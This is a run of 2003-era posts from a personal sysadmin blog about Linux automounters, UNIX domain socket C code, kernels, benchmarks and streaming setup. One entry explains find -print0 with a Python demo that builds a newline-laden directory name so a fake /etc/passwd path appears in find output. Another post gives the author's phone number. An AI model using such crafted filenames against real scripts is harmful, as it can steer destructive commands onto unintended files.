  	<edit name="rgba" mode="assign"><const>gbr</const></edit>
  </match>
  

  and reorder the gbr string until it works (or set it to rrr to disable).

  Viewing manpages in Vim

  Thanks to Gentoo forums you can view your manpages in Vim, if you like:

  export MANPAGER="col -b | view -c 'set ft=man nomod nolist' -"

  I've put up a new page fo...

  I've put up a new page for Seagull's Bane. The new release only has better code comments and a tiny fix.

  You can also see the documentation for another project of mine here. I hope to release the code for this and NSANet soon.

  Dealing with spam

  Personally, all the spam I get is filtered by procmail without any fancy statistical magic, or indeed, without looking at the body of the message at all. So if everyone could be like me the spam problem would go away.

  But it seems that spam is a big problem for other people, and whilst I don't really worry about other people's problems very much when I have such a wide choice myself, spam filtering provides a nice thought exercise for a while. Not to mention a chance to lever in a few better ways of doing things

  From a technical point of view I would start a company that runs sweatshops filtering spam by hand. They would have to have fair language skills, but English is pretty commonplace and there are enough sweatshop labors so I keep getting told.

  However, I have a few non-technical problems with running sweatshops and it doesn't involve very much code, so probably isn't much fun.

  AMTP is a small extension to the SMTP protocol that makes TLS mandatory and sets an evil bit (more or less) for each message. If the sending host doesn't correctly set the evil bit then you have a CA issued identity to lynch.

  This is basically a 2-level trust tree. Everyone trusts the elite CAs and they trust all the ISPs in the world and so on. The major problem with this being that a CA issued identity costs, lots. From a management point of view this might seem like a very good idea. Get all those geeks off the Internet and then we can get down to making money off it ... somehow.

  But it's making email sending exclusive (because it's expensive) and this is our end-to-end network goddammit.

  There has been plenty of good work done by the reputation people about this sort of thing. But generally they are considering how to deal with reputation when you hold the whole graph. (Though anyone should feel free to point me at a paper which solves these issues). Dealing with reputation when one can only see a couple of small areas of the graph is a whole different matter.

  Consider a simple system when a node (person) is free to setup a directed arc (reputation certificate) to any other node. Each arc has a float between 0..1 which indicates how confident the source is, that the destination will not send spam. Also assume that a node will accept a message if the sender can show a path from the target to the sender such that the product of all the arc weights is greater than 0.1.

  Without a good knowledge of the graph, the sender isn't going to be able to find such a path, even if it exists. Assuming that there is a way to walk the graph, it's going to take a connection-request-reply to lots of different servers to get the information. (Because we wouldn't have it on one central server as that would be Bad).

  See the aside below in which I contradict myself after you have read the rest.

  However, most of the time I'm exchanging email with people that I have a good contact with. Messages which would require many hops of the trust graph are quite rare.

  Thus it would be perfectly possible for search servers to hold much of the graph in memory. There wouldn't be a single central search server (as that would be Bad), but there wouldn't need to be as the server need not be trusted as it cannot lie. Possibly that would be enough to make the system work.

  Issues that I'm no going to think about till the morning... negative certs, caching issues, the problem of time delay if a trusted source goes 'bad' (which are all rooted in the same issue).

  Aside

  Above, I state that searching the trust network wouldn't work. But it occurs to me that it would be fairly simple to find a path quite efficiently.

  The trust graph is going to have a power law distribution. I don't know why, but I would be very surprised if it didn't. So, starting from two points A and B, to find a path between them walk up the orders until up hit a common meeting point at a high order node.

  Walking up from B assumes that much of the time if C trusts D, then D trusts C. Because you actually want to find a path, in the end, that goes down to B. This assumption makes the graph look `symmetricish' and so the trick might produce a path pretty quickly. Unfortunately, the symmetric assumption falls down for the high order nodes.

  You can see some of the d...

  You can see some of the documentation for DoC management network here

  I've moved and have no inet link in the new place (yet) so I've not going to be writing too much.

  The future of money: priv...

  The future of money: private complementary currencies

  Seagull's Bane

  Well, here's the promised public release of Seagull's Bane. A simple linux automouter which doesn't do lots of silly crap (amd) that most people don't want and doesn't get trivially upset (autofs and amd).

  It's Creative Common's public domain.

  I'm going to switch to using it on my box at work, so I'll probably release a few new versions over a few days with fixes . !STARTDOWNLOAD !DOWNLOAD bane* !ENDDOWNLOAD

  Of, and email is working again from Freenet's nice new server.

  Email fucked until at lea...

  Email fucked until at least late Tuesday. agl02 at doc.ic.ac.uk should still work.

  xMule Mirror up

  here (via BoingBoing)

  Apparently I have been subpoenad, personally, on 8-17-2003 by an as-yet unknown entity under the DMCA clause, because of xmule, when it went on to gov'ment radar w/ the e-matters.de alert :P The subpoena lasts, suposedly, until Dec 6, when i must stand infrotn of a federal appellet court

  Why Pipes Suck

  I'm going to have to do something about this problem at some point, but for the moment I'm going to settle with describing it.

  I'm considering the design of some status monitoring for the servers in DoC. At the moment we have some pretty complex triggers setup on our admin Postgres server that allows you to insert values into a table and have per-minute and per-hour tables filled out automatically with the min, max and average. This is all very nice, but very slow. Postgres just can't handle it so we need something different.

  We want to be able to set alarms on values over any averaging time and we want to record the per-hour, per-minute, per-day etc data for long term analysis of server load and so forth.

  I've written a small C program that parses /proc/stat and pulls useful information out of it. Every bit of information is a name-value pair like servername.load, 2.3. I don't want to have to bother with authenticating raw TCP connections so I'm going to have the status server ssh out and invoke the monitoring program to trusted servers.

  That's all just background.

  Now I have lots of incoming streams from the servers and I need to demultiplex them into a stream with all the data. I'm a good UNIX programmer so I want everything to be as modular as possible. Let's say that I collect the data with a command line like: ssh -t -t -x ... servername /usr/bin/monitor_program | domcat /var/status_data (domcat is like netcat, but for UNIX domain sockets). Now I need a program that can merge the incoming streams and allow people to connect and receive the total stream.

  If I was being a poor UNIX programmer I would pass a couple of TCP port numbers to this program. It would take all the input from anyone who connected to the first port, merge it and throw it out to everyone connected to the second port.

  But the decision to use TCP shouldn't be ingrained (authentication nightmare), nor should the splitting of streams (it's just data). All this program should do is use it's protocol specific knowledge to merge streams into one. Thankfully, I already have a program called conguardian that just passes file descriptors to the stdin of it's child and accepts (and authenticates) connections from a named UNIX domain socket. So, the command line is looking like: conguardian /var/status-data merger_program.

  But how do we get the data out of it? We write a program called splitter that just takes an input stream from stdin and copies it to everyone who connects. Thankfully, conguardian already abstracts the business of accepting and authenticating connections. So we say conguardian /var/status-data merger_program | conguardian /var/status-data-out splitter.

  Opps! conguardian passes file descriptors in via stdin and we are trying to pipe data into stdin. How well do you know your shell syntax? Can you even pipe the output of one program into a numbered fd input of another? Are you going to have a headache by the time you have finished?

  I'm always finding that I can't connect programs together with anything like the flexibility I want. How do you do bidirectional pipes? You put make programs' name and arguments, arguments of the first and write special fork handling code in the first. And if you want two bidirectional inputs to the second program? Oh dear.

  (The above may be clearer if I include the conguardian manpage)

  CONGUARDIAN(1)                                     CONGUARDIAN(1) 
  
  
  NAME
         conguardian - Access control for UNIX domain sockets
  
  SYNOPSIS
         conguardian   []...
  
  DESCRIPTION
         conguardian attempts to unlink the given socket path if it
         exists and is a socket. If it is not a socket then it will
         fail to bind to it and give up.
  
         conguardian accepts connections on the  given  socket  and
         checks  the  UID of the other end against an internal list
         of allowed usernames. UID 0  is  always  allowed  and  the
         internal  list is initially empty. If not on the list, the
         connection is terminated.
  
         If the client is allowed and sends an  ASCII  NUL  as  the
         first  byte,  the  connection  is passed to the child over
         UNIX domain DGRAM socket on stdin. If the client  sends  a
         0x01  byte and is root, it can upload a new username list.
  
  ENVIRONMENT
         IDENT given in all syslog messages
  
  AUTHOR
         Adam Langley 
                                                     CONGUARDIAN(1)
  

  Perl 6 Essentials

  As O'Reilly books go, this is a pretty small one. It's list price ($25) is more than I would value it at, but I got it from the library .

  The book is in three sections: an introduction to Perl 6, an introduction to Parrot and a primer in Parrot assembly. The last one is highly skimmable unless you are actually programming in Parrot assembly (in which case you probably already have a far better knowledge of Parrot).

  Now Perl 6 looks quite cool, it fixes a couple of things that I don't like about Perl 5. Assigning a hash or array to a scalar produces a reference to it...

  Interlude: I'm half watching a program about asteroid impacts and I've just seen a (poor) computer graphics simulation of an impact on right on Imperial College, of all the places in the world. I'm a little gob smacked...

  ... which makes a lot more sense than assigning the phase of the moon or something. And the rules system (even more complex regular expressions) looks very powerful and a little more sane than Perl 5 regexps.

  Also, we have an intelligent equality (~~) operator, which looks neat and leads to a nice switch operator (given). But I'm a little concerned about the number of different things it does depending on the types of it's arguments, but that's very Perlish. And the book lists 12 different contexts in which anything can be evaluated.

  Less cosmetically, Perl 6 might gain continuation and coroutine support from Parrot. I don't know if Perl 6 will actually expose these, but Parrot can do them. And Parrot looks like it could really do wonders for open source scripting languages. It looks fast, and has been designed to support Perl 6, Ruby, Parrot, Scheme and others. Intercalling between them might allow us to get rid of some of the terrible C glue code that we have at the moment.

  One thing that does worry me about Parrot is that it's basic integer type is a signed 32-bit. If you want anything else you have to use PMCs, which is a vtable based data type that allows for arrays and hashs and so forth, and is much slower. Now there are many applications for which 31-bits isn't enough. File offsets are obvious, but how about UID and device numbers? Both of these are looking like that are going to be 32-bit unsigned ints. You can fit this into a Parrot signed int, but it's going to cause huge headaches.

  UPSs

  I've been dealing with APC UPSs a fair bit this week. A quick Google search will turn up the serial protocol that they use and it's really quite nice. A lot of devices (APC MasterSwitches for one) have a fancy vt100 menu interface which is totally unusable for an automated system. The UPSs, on the other hand have a simple byte code protocol and hopefully I'll have the servers shutting down neatly in a power failure. Software like that already exists but it's generally too far simple minded. We have many servers on any given UPS and some servers on several.

  APC do loose points for their serial cables however. APC supply (for quite a price) so called 'smart cables' that are specially pinned out and nothing else uses the same interface. Thankfully, after looking at diagrams for about an hour I stuck 3 pins into a D9->RJ45 converter and it worked first time!

  Automounters

  (IV should stop falling over quite as often now. It looks like there's a bug in the sunrpc code in 2.4.20 kernels. The maintainer doesn't know why, but 2.4.21 fixed it.)

  I'm rewriting a replacement user-land automounting daemon at the moment which I'll post here when it's kindof ready. The two current solutions (autofs and amd) are either too fragile (autofs) or too bloated and too fragile (amd). Sadly enough, amd came from Imperial CSG originally and has turned into a monster over time.

  I'm a little limited in what I can do on my laptop however (I'm at home for the weekend) because it only has GCC 2.95 which lacks the nice C99 features that GCC3 supports. (Actually I'm a little hazy on which are C99 features and which are GCC extensions. But since the automounter is only ever going to run on Linux they are pretty much the same).

  Lexical functions and C++ style variable decl placement are an absolute wonder (though I have found a couple of placement gotchas which might be because I was using a CVS GCC). One thing that I'm not so sure about is run-time array sizes.

  This allows the size value of an array to be a run-time variable. I suppose this (with the more flexible decl placement) is a `cleaner' way of doing alloca. But it was certainly a surprise when I forgot a sizeof, thus making the array size run-time and (so it happened) negative. It certainly scared the crap out of gdb.

  And speaking of gdb, it doesn't seem to understand much that GCC3 turns out. I guess I need to start CVS chasing gdb again (like I did when pthreads support was still going in).

  2.6 Kernels

  I got 2.6.0-test3 to boot. This is the first 2.5/2.6 kernel that has ever managed to boot on my system. Personally it doesn't seem too obscure to me, but the AIC7xxx and megaraid cards have always freaked out a 2.5/2.6 kernel until now. (Which was kindof a bummer since the only root device I had left without those was a floppy disk).

  I'm not sure if it's really that much quicker than a fully patched (preempt etc) 2.4, but at least it saves me from patching every kernel version with XFS. The new sysfs seems a little weird. I guess it's still a -test quality release, but different devices don't seem to argee on how to format things like device numbers and the like.

  Still, udev thinks it can simulate devfs in userspace via sysfs and /sbin/hotplug, which is quite neat. I guess I'll need a `real' /dev directory again however, since you can't mount udev at boot like you can with devfs.

  Also, I want disklabel support added to grub and the kernel. You can quite happily put UUID= and LABEL= tags in /etc/fstab, but you still need to give `real' device numbers to the kernel and grub. Worse yet, the kernel device numbers depend on the order of Linux drivers loading and grub's depend on the order of BIOSes loading. Under 2.4 there is pretty much no good way (that I know of) to get grub device numbers.

  I think that the kernel people would say that support for labelled roots should go in an initrd. And I would agree with them if I didn't hate initrd's so much for all the pain they have caused me. I guess I should to hack linux/init/*.c.

  I should also post my grub -R patch here (one shot reboots).

  Blaster

  The BBC are reporting (lack of inet connection - no link at the moment) that Microsoft has `neutralised' the MS Blaster worm. What they have actually done is move the windowsupdate.com domain so that they don't get flooded off the face of the planet which would have been just reward.

  It's still crashing unpatched systems left right and centre because it's so badly written. Once again, the world has been saved by the abject cluelessness of black-hat-wannabe-kiddies.

  And from the world of less clueless coloured-hat people; the latest Phrack is out. Phrack is very much worth reading. It has a fair few wordz with too many z's on the end, but the actual content is of a very high quality. I certainly want to play with the ELFsh program.

  Oh, another item for the wish list, code that will take a dynamic ELF and make it static.

  And I guess there are a fair few computers on the Niagara Mohawk grid that haven't been patched yet .

  (I shouldn't smile about that actually. The UK has deregulated the grid recently too and investment has fallen to 0. Sure, prices are lower but people are asking where all that money came from yet.)

  Disk. Who needs that?

  tmpfs is a cool thing. You almost certainly have it built in if you're running a 2.[456] kernel. I have a box sitting in the DoC machine room that, at rc.sysinit time, copies a Gentoo stage3 into a tmpfs and chroots into it. It has no swap enabled so you can (and I did) pull the SCSI ribbon off the motherboard (live) and the machine doesn't even blink.

  It will be logging to the disk at some point and all those multilog and syslog-ng processes will drop into disk wait, but that shouldn't won't the main function of the box. My main worry is that syslog-ng creates /dev/log as a UNIX SOCK_STREAM (I have yet to test this) in which case some stuff that syslogs will lock up too.

  My code expects syslog to block and will carry on working (dropping log messages as needed), but I'm not sure about sshd and the like. The solution is to make /dev/log a SOCK_DGRAM in the syslog-ng source code I guess.

  I'm sure there was someth...

  I'm sure there was something important that I was ment to reply to today but I can't remember what. I expect it will blind-side me about 4pm tomorrow. These things usually do.

  IV was down over the weekend because the webserver died again. We have physically switched boxes for the webserver and it's having the exact same issues as the old one. Autofs is causing a kernel oops that then locks up VFS layer and after that the webserver is a little useless.

  The maintainer of the code in question (net/sunrpc) has had a look at the stack traces and can't see anything wrong so we are going to see if it happens again (with a 2.4.21 kernel) and start stripping out patches until we can reproduce it in a stock kernel. At that point we add debugging code to try and trap where the dodgy data structure is going dodgy. All on our primary webserver - wonderful.

  And...

  iptables -P INPUT DROP ; iptables -I INPUT -p tcp --destination-port=22 -j ACCEPT

  just made my server drop off the face of the net. That really should have been in one packet, damm you fragments.

  Oh, and train operating staff will be able to use swab kits to add people who spit at them to the UK DNA database. Charming.

  Misspent Youth

  [Amazon link] Frankly, I expected better from Hamilton and probably should have paid heed to the reviewers on Amazon. Hamilton writes some really good books; never hard core sci-fi, but good old fashioned page-turners.

  But the plot of this book reads like a low-budget porno script and the characters are uninteresting and unbelievable. I read to the end, but mainly because I had nothing else to do.

  Autofs

  DoC's primary web server (the server which you are getting this page from) has been failing a lot recently with autofs problems. At one point it died 3 times in as many hours so we switched to a different box and sat it on 146.169.1.10. That was ok for while until it died in the same place. I hope to get the opps output and have a look.

  But autofs (the userland part) is a little dodgy. It can get upset pretty easily with NFS mounts as can amd (the alternative, written by CSG at Imperial) is only a little better. Both are pretty huge programs for doing a simple task. I think I'll write a replacement over the weekend.

  UNIX tricks

  Little to most people know of UNIX domain sockets. They may only work on the localhost, but when local communication is all you need they offer a number of funky features.

  Firstly, you can find out who is connected to you:

  struct client *
  client_init (int socket)
  {
          struct  ucred creds;
          socklen_t creds_len = sizeof (creds);
          struct  passwd  *pwent;
  
          if (getsockopt (socket, SOL_SOCKET, SO_PEERCRED, &creds, &creds_len) == -1)
                  return NULL;
          if (creds_len != sizeof (struct ucred))
                  return NULL;
          pwent = getpwuid (creds.uid);
          if (!pwent) {
                  syslog_write (slog, LOG_WARNING, "Lookup in passwd for UID %d failed", creds.uid);
                  return NULL;
          }
  

  Secondly, you can pass file descriptors down them:

  // Transmits @new_sock over @dest_sock using SCM_RIGHTS
  int
  send_fd (int dest_sock, int new_sock) {
          struct msghdr   msg = {0};
          struct cmsghdr  *cmsg;
          char            buf[CMSG_SPACE (sizeof (new_sock))];
          int             *fdptr;
  
          msg.msg_control = buf;
          msg.msg_controllen = sizeof (buf);
          cmsg = CMSG_FIRSTHDR(&msg); 
          cmsg->cmsg_level = SOL_SOCKET;
          cmsg->cmsg_type = SCM_RIGHTS;
          cmsg->cmsg_len = CMSG_LEN(sizeof(int));
          fdptr = (int *)CMSG_DATA(cmsg);
          *fdptr = new_sock;
          // Sum of the length of all control messages in the buffer: 
          msg.msg_controllen = cmsg->cmsg_len;
          if (sendmsg (dest_sock, &msg, 0) == -1) {
                  fprintf (stderr, "Failed to write to child: %s\n", 
                                  strerror (errno));
                  return 10;
          }
  
          return 0;
  }
  

  // Reads a file descriptor from stdin using SCM_RIGHTS
  int
  get_fd ()
  {               
          char buf[CMSG_SPACE(sizeof (int))];
          struct msghdr msg;
          struct cmsghdr *cmsg;
          
          msg.msg_control = buf;
          msg.msg_controllen = sizeof (buf);
          msg.msg_name = NULL;
          msg.msg_iov = NULL;
          msg.msg_iovlen = 0;
          if (recvmsg (0, &msg, 0) != 0)
                  return -1;
          cmsg = CMSG_FIRSTHDR (&msg);
          if (cmsg->cmsg_type != SCM_RIGHTS) {
                  syslog_write (slog, LOG_ERR, "CMSG type was not SCM_RIGHTS");
                  return -1;
          }
          return *((int *) CMSG_DATA (cmsg));
  }
  

  The webserver is on it's ...

  The webserver is on it's last legs and will almost certainly die over the weekend. (Hint: never use Reiserfs).

  IV should still be on http://tweetypie.doc.ic.ac.uk/~agl02/ however. But if the primary server is down, how do you get that URL?

  Something to ponder..

  God, building packages fo...

  God, building packages for apache+php+mod_perl+kitchen sink is so painful. A million paths woven together into one huge diabolical ubermess. Sigh. I guess I'll get there in the end.

  • Micropayment documents
  • American political cartoonists
  • Nicotine drinks? It's an insectiside people!

  Mail should be working ag...

  Mail should be working again.

  This article on 3d printing was linked to on slashdot. It's a pretty short and dull introduction, but it foreshadows another key battle on the copyright front. Personally, I think that Gilmore expressed it far better in this text. It's going to be a painful few decades while these changes sink in.

  sfdisk -s returned a negative number for me today caused by the 2TB limit on 32-bit sector counts. This seems like it's going to be a pretty painful transition as many utilies (even the kernel, until 2.6) have this limit. sfdisk, despite being in util-linux, is actually pretty badly written. It assumes in several places that sizeof (long) = 4. I might end up rewriting large parts of it because cyl/head/sectors have got to go.

  Hawk is not getting SMTP,...

  Hawk is not getting SMTP, so no email is getting through at the moment.

  Use agl02 AT doc.ic.ac.uk if need be.

  find -print0

  See, I don't understand what all this filesharing fuss is about. People put so much effort into Kazaa, Gnutella and other weirdly named stuff.

  All you need is a user running a buggy version of phpBB, a gigabaud link to the Internet and people will upload stuff to you! 84GB of stuff to be precise onto our primary fileserver. It says something about the systems at Imperial that this was such small fry that it didn't even register for a few days until they setup ftp servers and our webserver was a couple of places higher than normal on the list of hosts by outbound traffic.

  What's really amusing is watching the script kiddie's exploit. (Yes, we keep full packet logs of everything for a couple of weeks, so we just scanned back and selected that TCP stream). They connected and it's so obvious that they didn't have a clue. They were pasting commands in (multiple commands in 1 packet) and couldn't use grep. They would ls -lR to find somewhere to put their files and hit ^C after a while ... before doing it again and trying to hit ^C at the right place because it had gone off the top of the screen .

  (I would usually lock php right down to stop user level compromises like this. But it's a university and we are ment to give them pretty free run. And yes, the user web and db servers do get buggered silly on a fairly regular basis as scripts run amok.)

  I was explaining to someone the importance of using the -print0 argument to find when working in untrusted paths. Often the output of find is piped into a program like xargs using newlines to deliminate files. The -print0 (and -0 option to xargs) uses null bytes insted.

  Try this example:

  % python
  Python 2.2.3 (#1, Jul 12 2003, 15:30:57) 
  [GCC 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice)] on linux2
  Type "help", "copyright", "credits" or "license" for more information.
  >>> import os
  >>> os.mkdir ("foo\n"); os.mkdir ("foo\n/etc");
  >>> open ("foo\n/etc/passwd", "w+").close ()
  >>>
  % find
  .
  ./foo
  
  ./foo
  /etc
  ./foo
  /etc/passwd
  

  Opps! Where did /etc/passwd come from? Lets hope that that xargs wasn't doing anything nasty.

  Opteron Benchmarks

  • The League of Extraordinary Gentlemen and the public domain [via Lessig]
  • A new addition to the common links at the top of the page: Whiterose. (no relation to my code of the same name)

  These results are completely unfair and shouldn't be taken as gospel in any way. Lithium is the dual Operton (it's specs are in a previous post), lithium32 is Lithium running 32-bit code (Mandrake 9.1) and Loch is a dual 2.66Ghz Xeon with only 1GB of memory (Lithium has 4). Lithium only has an ATA disk, while Loch is LVD SCSI. I tried as much as possible to allow both systems to keep everything in buffer cache.

  Everything was run with GCC 3.3, but keep in mind that Lithium (in 64-bit mode) is actually building a slightly different kernel (x86-64, not i386).

  make 2.6.0-test1, default configure, no -j
  lithium:	4m33
  lithium32:	5m26
  loch:		5m41
  
  make 2.6.0-test1, after make clean, -j4
  lithium:	2m27
  lithium32:	2m48
  loch:		2m57
  
  make 2.6.0-test1, after make clean, -j8
  lithium:	2m28
  lithium32:	2m48
  loch:		3m08
  
  md5sum of 512M zero file (in buffer cache)
  lithium:	3.1s
  lithium32:	10.6s
  loch:		3.4s
  stimpy:		16.8s
  

  Stimpy is another Mandrake box because I didn't quite believe the result for Lithium in 32-bit mode. It seems that Mandrake 9.1's md5sum just sucks, so ignore lithium32's result in that.

  Gentoo AMD64

  This just makes my blood boil. I really shouldn't read these articles, I'm sure it's bad for my health or something . These idiots will always exist.

  Gentoo AMD64 lives! It takes quite a lot of trickery, but it's building KDE at the moment (heck, have to do something with all of those cpu cycles!). I might post a stage1 file at some point, but the semi-offical Gentoo amd64 stage1 files will be out soon. Mostly I did it for the experience.

  Who needs this filesystem malarkey anyway?

  You know, my home system didn't feel slow till I started using the dual Opteron system. Heck, even the dual Xeon-HT's don't feel as nippy and it's running 32-bit code.

  I posted a note to python-dev today about finding the size of types at configure time. Almost nothing except glibc, gcc and binutils works cleanly when cross compiling. GNU autoconf should mean that setting --host and --build makes everything work magically. Does it hell.

  (p.s. glibc 2.3.2 cannot be cross compiled, use 2.3.1. And both of these versions misdefine sscanf - you have to correct it in stdio-common/sscanf.c first.)

  One of the dumbest things in configure scripts is when they don't try tests because they can't run the compiled code (because it's x86-64 code). The script knows it's a cross and just gives up. In the case of Python it assumes that the sizes of int etc are for 32-bit. (Except for fpos_t, for which it's correct for an 8-bit system). But there's no reason to run compiled code to get this information.

  #include <asm/types.h>
  #include <sys/types.h>
  
  const   __u8    sizeof_int[sizeof(int)];

  And so on. Then compile the code and objdump -t sizeof.o | grep 'sizeof_[^ ]+$' | awk '{ print $5 " " $1; } will give you all the information. Works perfectly for native and cross compilers.

  DJB exchanged emails about his call for a disablenetwork() syscall. My point was basically that he was thinking about it the wrong way round. It shouldn't be a disablenetwork call, but a case of "I didn't explictly give you a network capability".

  I also remarked that if you were going to go a capability you could also chroot() everything and give it a UNIX domain socket via which it could make its filesystem calls. This would make restricting programs pretty simple as you have one point of access for all filesystem control. (It would be a UNIX domain socket because they can have file descriptors passed between processes over them).

  He suggested that few programs really need the filesystem (and would you look at the date on that?) and that it has more than security implications:

  A small interface (for example,
  a descriptor allowing read() or write()) supports many implementations
  (disk files; network connections; and all sorts of interesting programs
  via pipes), dramatically expanding the user's power to combine programs.
  A big interface (for example, a file descriptor that allows directory
  operations) naturally has far fewer implementations.

  Which is actually really cool. Most programs could do without the full fledged filesystem and it would be useful to be able to redirect their access down a pipe or socket. There are a number of problems with being able to do this that would probably need a kernel patch; mmaping for one and the problem of no being able to pass fds between machines.

  Just testing SVG

  Just testing...

  That should be 3 SVG circles if your browser can handle it. Hopefully nothing explodes too badly.

  If all the colours are wrong (it will look grey with lines going down it) then you're hitting a known bug in Mozilla. It's fixed in CVS.

  Opterons

  Woooo....

     
  	librt.so.1 => /lib64/librt.so.1 (0x0000002a9566d000)
  	libacl.so.1 => /lib64/libacl.so.1 (0x0000002a95785000)
  	libc.so.6 => /lib64/libc.so.6 (0x0000002a9588b000)
  	libpthread.so.0 => /lib64/libpthread.so.0 (0x0000002a95abb000)
  	libattr.so.1 => /lib64/libattr.so.1 (0x0000002a95bd7000)
  	/lib64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x0000002a95556000)

  Yes, that's a 30GB mmap...

  open("/dev/hda", O_RDONLY)              = 3
  mmap(NULL, 32212254720, PROT_READ, MAP_SHARED, 3, 0) = 0x2a9589d000
  

  processor       : 0
  vendor_id       : AuthenticAMD
  cpu family      : 15
  model           : 5
  model name      : AMD Opteron(tm) Processor 242
  stepping        : 1
  cpu MHz         : 1595.065
  cache size      : 1024 KB
  fpu             : yes
  fpu_exception   : yes
  cpuid level     : 1
  wp              : yes
  flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext lm 3dnowext 3dnow
  bogomips        : 3178.49
  TLB size        : 1088 4K pages
  clflush size    : 64
  
  processor       : 1
  vendor_id       : AuthenticAMD
  cpu family      : 15
  model           : 5
  model name      : AMD Opteron(tm) Processor 242
  stepping        : 1
  cpu MHz         : 1595.065
  cache size      : 1024 KB
  fpu             : yes
  fpu_exception   : yes
  cpuid level     : 1
  wp              : yes
  flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext lm 3dnowext 3dnow
  bogomips        : 3185.04
  TLB size        : 1088 4K pages
  clflush size    : 64
  

  Gentoo x86-64 hopefully comming soon...

  nfs-utils 1.0.3 and 1.0.4...

  nfs-utils 1.0.3 and 1.0.4 are buggy (1.0.4 is the one with the new xlog security patch). Use 1.0.1 and get the xlog patch from somewhere else and apply it manually.

  If you get a motherboard with a `3COM 3c940' builtin (it doesn't exist in a standalone from at the moment) the driver you need is actually an sk98. I have the patch handy if anyone ever needs it.

  Nuclear landmines (and no, it's not the Yanks again this time).

  HTML Through CSS

  nForce 2 chipsets

  The nForce2 chipset (from nVidia) is popular for AMD systems at the moment, just don't buy one if you're running Linux. nVidia supplies drivers from its website for the builtin network, gfx and audio (possibly others, I didn't get that far) as modules - more than slightly frustrating for a NFS root. Still, I managed to get the driver into the kernel (including the closed source binary part) and it half works - the sending half.

  The graphics part doesn't handle VESA DDC calls and seems to freeze completely with the nv driver.

  In short, avoid unless you like waiting for nVidia to drip feed you closed source drivers.

  Some people may have noticed that there's some documentation that has appeared in the CSG section in the site tree at the bottom. Since I haven't released the code you probably don't want to read it, but the interesting bit it that I just made up the tags. (If you see all the text stuck together then your browser doesn't like this - try Mozilla). Each of the functions looks a little like this:

  <function>
  	<name>function_name</name>
  	<args>
  		<arg><type>string</type><name>filename</name></arg>
  	</args>
  </function>

  And then I just define them in CSS:

  function { background: #f3f6fd; display: block; margin-bottom: 30px; }
  function > name { font-family: monospace; padding-bottom: 10px; display: block; color: #0000dd; }
  function > name:before { font-family: Georgia, Times, sans-serif; content: "Name: "; color: #000000; }
  function > args { display: block; margin-bottom: 10px; }
  function > args:before { content: "Arguments: "; }
  ...

  Mozilla renders it ok, Konqueror doesn't and I've not tried anything else. Is this in the slightest valid in XHTML? It certainly feels XMLish.

  And if it is valid, why isn't the XHTML standard just a common CSS stylesheet? I'm pretty sure can define every HTML tag in CSS.

  I should write more than ...

  I should write more than I'm going to this entry, maybe I'll write the rest later on tonight.

  But the main point is that my phone eloped with my modem and ran off to Nevada to get married over the weekend so:

  -----BEGIN PGP SIGNED MESSAGE-----
  Hash: SHA1
  
  My number, current as of 14/7/2003 is +44 (0)7906 332512
  
  AGL
  
  -----BEGIN PGP SIGNATURE-----
  Version: GnuPG v1.2.2 (GNU/Linux)
  
  iD8DBQE/Ewm6zaVS3yy2PWARApCVAKCQZvbUIYdzf/ue5Cdl9r3WYGIeYQCgvRM3
  H4ki+BlNXHPm29KGiEF4A20=
  =jG6K
  -----END PGP SIGNATURE-----

  freenetproject.org nuked

  Ian's on holiday at the moment and I met up with him and Janie yesterday in south London. It's been too long since I saw them, but it's good to see that they're still together and doing well. Janie needs better shoes, but these things are fixable

  Unfortunately, they're also out of contact too. Their phone can't do incoming calls and I only have a vague idea of where they're staying. This would be fine except that Go Daddy nuked the freenetproject.org DNS (or possibly Ian renewed the domain too late) and it seems that only Ian can alter the account. This killed mail to imperialviolet.org too, but only briefly.

  Thankfully, the /. story about Freenet linked to the other name for the website. (And do read that story, it's really good; well done Ian).

  Bugger. While trying to g...

  Bugger. While trying to get gdm working for the new Dept of Computing base install it looks like I screwed up a fair amount of stuff. That includes email from last night until now (I don't think it would have bounced - it just got vapourised), IV, comments etc.

  So any important emails should be resent, please.

  Oh, and the answer was that calling exec in any startup script (which is common practice here to change shells) causes gdm to fail with a completely unhelpful error message. I think we might be using kdm now.

  BBC Vorbis Streaming

  Firstly, an email I sent to the BBC Online Services Support list today:

  Three sysadmins from Imperial College (http://www.doc.ic.ac.uk/csg),   
  myself included, are temporarily living in White City - just up the
  road from the main BBC complex. We would very much like to see the
  Ogg Vorbis streams of BBC Radio running again.
  
  The last entry on http://support.bbc.co.uk/ogg/ reads (in part)
  "we simply do not have time right now to get the ogg streams running again"
  With this in mind, we would like to offer our services to help with
  this project in any way.
  
  Is there any way that this is possible?

  Now, I'm almost certain that this will either generate a polite brush-off or will just be ignored. With this in mind, I've worked out how to do it myself:

  BBC Vorbis Streaming HOWTO

  Firstly, you need recent versions of libxml, libxslt, libvorbis and icecast2. The first three are pretty standard, but Icecast2 is only available from CVS snapshots. The modules you'll need are icecast, ices2 and libshout. libshout is required to build ices2.

  You'll also need RealPlayer for Linux, since this is the only source of BBC Radio data at the moment. You could just pipe a radio into the linein, but the quality of this is likely to be a bit crappy. Though it would get rid of the nasty time lag in BBC Real streams.

  We'll setup icecast in a minute, but we also need to download dsproxy. This traps data sent to /dev/dsp and outputs it as PCM data. Download and build dsproxy (needs root to insmod). I run devfs, so my /dev/dsp etc are just symlinks into /dev/sound/, so I can replace them at any time but realplay is going to need to see the dsproxy devices when it starts up. You could chroot RealPlayer and point the sound devices in the chroot to dsproxy, but I haven't played with that. At the moment I'm setting up the devices to start realplay and then switching them back to the OSS devices for normal usage. However you decide to do it, here are the device numbers:

  • OSS dsp: 14, 3
  • OSS mixer: 14, 0
  • dsproxy dsp: 121, 2
  • dsproxy mixer: 121, 3

  So, for the moment, create the dsproxy devices as /dev/dsp and /dev/mixer (cd /dev ; rm dsp mixer ; mknod dsp c 121 2 ; mknod mixer c 121 3). Now we are ready to start the reader and realplay, so we configure icecast.

  Icecast has two parts - the server and the source. The server is icecast, the source is ices2. My config for the icecast server is here. Note that the password is XYZ and it puts stuff in /tmp/icecast (you may need to create /tmp/icecast/[log|web|admin]). My config for ices2 is here. You may wish to have a look in the example configs as well to see the other options available.

